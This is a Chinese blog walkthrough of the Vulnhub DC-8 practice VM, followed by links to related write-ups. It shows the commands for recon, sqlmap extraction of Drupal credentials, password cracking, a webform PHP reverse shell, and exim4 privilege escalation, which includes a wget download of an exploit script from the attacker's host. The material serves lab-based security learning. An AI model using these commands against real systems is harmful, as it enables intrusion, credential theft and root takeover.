看完这篇 教你玩转渗透测试靶机vulnhub——DC8

简介: 看完这篇 教你玩转渗透测试靶机vulnhub——DC8

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

靶机DC8 还是老样子只有拿到root权限才可以发现最终的flag。

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/dc/DC-8.zip

Vulnhub靶机安装:

下载好了把安装包解压 然后试用VMware即可。
在这里插入图片描述
在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用netdiscover发现主机
在这里插入图片描述

渗透机:kali IP :192.168.0.103 靶机IP :192.168.0.104

使用命令: nmap -sS -sV -A -n 192.168.0.104

在这里插入图片描述
发现开启了80端口和22端口 访问192.168.0.104 又是这个熟悉的界面drupal 点击左侧的Details发现url有id 可能存在注入点
在这里插入图片描述
Droopescan是一款基于插件的扫描器,可帮助安全研究人员发现Drupal,SilverStripe,Wordpress,Joomla(枚举版本信息和可利用URL地址)和Moodle的问题。

下载安装:

git clone https://github.com/droope/droopescan.git
cd droopescan

pip install -r requirements.txt

./droopescan scan --help

使用工具droopescan扫一下后台(因为也是第一次使用所以也是学习了一下)后台地址: 192.168.0.104/user/login

②:暴力破解:

使用sqlmap工具即可(也可以手动) 但是工具方便点 直接使用命令:

sqlmap -u http://192.168.0.104/?nid=1 --dbs #列出数据库

在这里插入图片描述

sqlmap -u http://192.168.0.104/?nid=1 -D d7db --tables  #列出数据库的表

在这里插入图片描述

sqlmap -u http://192.168.0.104/?nid=1 -D d7db -T users --columns #列出字段

在这里插入图片描述

sqlmap -u http://192.168.0.104/?nid=1 -D d7db -T users -C name,pass -dump #列出账号和密码

在这里插入图片描述
获取到adminjohn密码加密后的密文 然后新建一个pass.txt 把密文放进去使用john 进行破解 密码:turtle
在这里插入图片描述
然后使用john用户登入即可。 发现登入成功!!!
在这里插入图片描述
发现Content->点击edit->点击WEBFORMS->点击Form settings->点击下拉框选择PHP code
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码写入保存后,kali监听1234端口,在Contact Us页面随便输入信息点击Submit后,查看kali已得到shell。

在这里插入图片描述
写一个python交互 :python -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述

③:提权:

使用find命令查找具有suid权限的命令,找到一个exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
在这里插入图片描述
在这里插入图片描述
使用searchsploit命令搜索exim相关漏洞
在这里插入图片描述
然后把46996.sh拷贝到本地并改名为666.sh,并在kali开启http服务 service apache2 start

cp /usr/share/exploitdb/exploits/linux/local/46996.sh 666.sh
cat 666.sh
cp 666.sh  /var/www/html

需要进入/tmp 路径下 (不然没有权限 就下载不了)然后给 一个权限:chmod 777 666.sh
在这里插入图片描述
在这里插入图片描述
然后根据脚本提示 进行提权 发现提权失败!!! 可能是格式问题,需要在主机上将脚本格式设置成符合unix格式。然后重新上传和下载在这里插入图片描述
在这里插入图片描述

wget 192.168.0.103/666.sh
chmod 777 666.sh
ls -l

在这里插入图片描述

④:获取flag:

在这里插入图片描述
至此看到了flag,渗透测试结束。

Vulnhub靶机渗透总结:

**这是做的第九个靶场了,学习的知识点和一些细节就是 :
1.提权的时候需要设置编码 set: ff=unix不然会报错(这很重要!!!)**

**新知识点:
1.学习了Droopescan工具的使用
2.学习了exim4提权方式**
最后 自己也会把这系列的靶机继续更新,创作不易 希望对大家有所帮助!!

相关文章
|
7月前
|
安全 Shell 网络安全
基于Vulnhub靶场—DC4渗透测试过程
Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。
292 0
|
安全 搜索推荐 Shell
看完这篇 教你玩转渗透测试靶机vulnhub——DC7
看完这篇 教你玩转渗透测试靶机vulnhub——DC7
524 0
看完这篇 教你玩转渗透测试靶机vulnhub——DC7
|
7月前
|
Shell Linux 网络安全
基于Vulnhub—DC8靶场渗透测试过程
这篇文章描述了一个渗透测试的过程。首先,作者下载了一个名为DC8的靶场环境并将其导入虚拟机软件,将网络设置为NAT或仅主机模式。然后进行了信息收集,通过ARP扫描发现靶机IP,并使用nmap扫描开放端口,发现80和22端口开放。进一步利用SQL注入漏洞,通过sqlmap工具获取了数据库中的用户名和密码
80 0
|
7月前
|
安全 Shell 网络安全
基于Vulnhub靶场之DC-3渗透测试过程
Vulhub靶场介绍: [Vulhub](https://vulhub.org/) 是一个专注于安全漏洞复现和学习的开源项目。它提供了各种常见漏洞的复现环境,帮助网络安全从业者学习和研究漏洞利用技术。这些环境涵盖了Web应用、容器和操作系统等多个领域。Vulhub 的特点包括: 1. **丰富的漏洞场景**:覆盖多种常见的漏洞,如SQL注入、XSS等。 2. **详细复现指南**:为每个漏洞场景提供详细的环境搭建和利用步骤,便于学习和实践。 3. **易于使用**:提供一键部署或Docker镜像,简化环境搭建过程 4. **持续更新与维护**:项目在GitHub上开源,不断接收社区的贡献和更新
244 0
|
存储 网络协议 网络安全
VulnHub靶机DC2渗透测试笔记
靶机下载地址: https://download.vulnhub.com/dc/DC-2.zip 靶机难度:入门 靶机描述:和DC-1 一样,有五个标志,包括最终标志。
84 0
VulnHub靶机DC2渗透测试笔记
|
SQL 安全 Shell
看完这篇 教你玩转渗透测试靶机vulnhub——DC3
看完这篇 教你玩转渗透测试靶机vulnhub——DC3
331 0
|
安全 Oracle 关系型数据库
看完这篇 教你玩转渗透测试靶机Vulnhub——Grotesque:2
看完这篇 教你玩转渗透测试靶机Vulnhub——Grotesque:2
123 0
|
安全 网络安全 数据安全/隐私保护
看完这篇 教你玩转渗透测试靶机Vulnhub——Toppo: 1
看完这篇 教你玩转渗透测试靶机Vulnhub——Toppo: 1
158 0
|
安全 Shell 网络安全
看完这篇 教你玩转渗透测试靶机Vulnhub——Photographer: 1
看完这篇 教你玩转渗透测试靶机Vulnhub——Photographer: 1
128 0
|
安全 关系型数据库 网络安全
看完这篇 教你玩转渗透测试靶机Vulnhub——HarryPotter:Aragog(1.0.2)
看完这篇 教你玩转渗透测试靶机Vulnhub——HarryPotter:Aragog(1.0.2)
138 0